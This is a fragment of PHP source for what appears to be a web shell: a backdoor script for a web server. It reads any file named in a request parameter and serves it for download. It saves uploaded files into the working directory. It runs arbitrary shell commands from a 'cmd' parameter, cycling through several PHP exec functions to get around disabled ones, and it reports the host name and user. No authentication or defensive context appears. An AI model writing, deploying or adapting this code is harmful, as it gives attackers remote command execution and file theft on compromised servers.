--- if (isset($_GET['get']) && $_GET['get'] !== '') { $f = $_GET['get']; $full = ($f[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $f)) ? $f : $workDir . DIRECTORY_SEPARATOR . $f; if (is_file($full)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($full) . '"'); header('Content-Length: ' . filesize($full)); readfile($full); exit; } $statusMsg = 'download failed: not found -> ' . $full; } // --- file upload (drops into current working directory) --- if (isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK && $_FILES['f']['size'] > 0) { $dest = $workDir . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']); $statusMsg = move_uploaded_file($_FILES['f']['tmp_name'], $dest) ? 'uploaded -> ' . $dest : 'upload failed (permissions?) -> ' . $dest; } // --- command execution --- function rp_run($c, $wd) { $full = 'cd ' . escapeshellarg($wd) . ' && ' . $c . ' 2>&1'; if (function_exists('shell_exec')) return shell_exec($full); if (function_exists('system')) { ob_start(); system($full); return ob_get_clean(); } if (function_exists('passthru')) { ob_start(); passthru($full); return ob_get_clean(); } if (function_exists('exec')) { exec($full, $o); return implode("\n", $o); } if (function_exists('proc_open')) { $p = proc_open($full, array(1 => array('pipe','w')), $pipes); if (is_resource($p)) { $r = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); return $r; } } return 'error: all exec functions disabled (check disable_functions)'; } $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if ($cmd !== '') { $t = trim($cmd); if ($t === 'cd' || strpos($t, 'cd ') === 0) { $target = trim(substr($t, 2)); if ($target === '') { $output = $workDir; } else { $new = ($target[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $target)) ? $target : $workDir . DIRECTORY_SEPARATOR . $target; $real = realpath($new); if ($real && is_dir($real)) { $workDir = $real; $output = ''; } else $output = "cd: no such directory: $target"; } } elseif ($t === 'cls' || $t === 'clear') { $output = ''; } else { $output = rp_run($cmd, $workDir); } } // --- banner identity --- function rp_whoami($wd) { $w = trim((string) rp_run('whoami', $wd)); return ($w !== '') ? $w : (getenv('USERNAME') ?: getenv('USER') ?: '?'); } $banner = gethostname() . ' :: ' . rp_whoami($workDir); function h($s) { return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8'); } ?>
= h($output) ?>